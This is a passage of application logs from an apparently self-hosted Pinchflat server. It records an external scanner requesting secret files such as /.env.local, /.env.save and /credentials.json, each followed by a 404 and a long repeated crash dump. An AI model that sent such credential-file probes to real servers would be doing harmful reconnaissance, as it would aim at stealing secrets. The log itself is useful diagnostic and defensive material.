10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSANE3b0-K8ACMIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21448.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21448.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21449.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSANE3b0-K8ACMIB"} ], scheme: :http, script_name: [], secret_key_b (truncated) 15:40:15.904 [info] GET /.env.old 15:40:15.904 [debug] QUERY OK source="settings" db=0.0ms idle=121.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.904 [debug] QUERY OK source="settings" db=0.0ms idle=103.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.904 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.904 [error] #PID<0.21451.0> running PinchflatWeb.Endpoint (connection #PID<0.21450.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21450.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52098}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21451.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSCWntZ_1n0ACMIh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21450.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52098}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21450.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52098}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21451.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSCWntZ_1n0ACMIh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:16.008 [info] GET /.env.save 15:40:16.008 [debug] QUERY OK source="settings" db=0.2ms idle=207.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.009 [debug] QUERY OK source="settings" db=0.0ms idle=113.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.009 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.009 [error] #PID<0.21453.0> running PinchflatWeb.Endpoint (connection #PID<0.21452.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52108}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21453.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSbJ05Q0ZmMACMJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52108}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52108}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21453.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSbJ05Q0ZmMACMJB"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:16.027 [info] GET /assets/.env 15:40:16.028 [debug] QUERY OK source="settings" db=0.2ms idle=132.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.028 [debug] QUERY OK source="settings" db=0.0ms idle=123.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.028 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.028 [error] #PID<0.21455.0> running PinchflatWeb.Endpoint (connection #PID<0.21454.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /assets/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21454.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52112}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21455.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSfthi3Uv1oACMJh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21454.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52112}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21454.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52112}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21455.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfSfthi3Uv1oACMJh"} ], scheme: :http, script_name: [] (truncated) 15:40:16.113 [info] GET /credentials.json 15:40:16.113 [debug] QUERY OK source="settings" db=0.1ms idle=104.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.113 [debug] QUERY OK source="settings" db=0.0ms idle=104.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.113 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.113 [error] #PID<0.21457.0> running PinchflatWeb.Endpoint (connection #PID<0.21456.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52114}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21457.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/credentials.json", resp_body: nil, 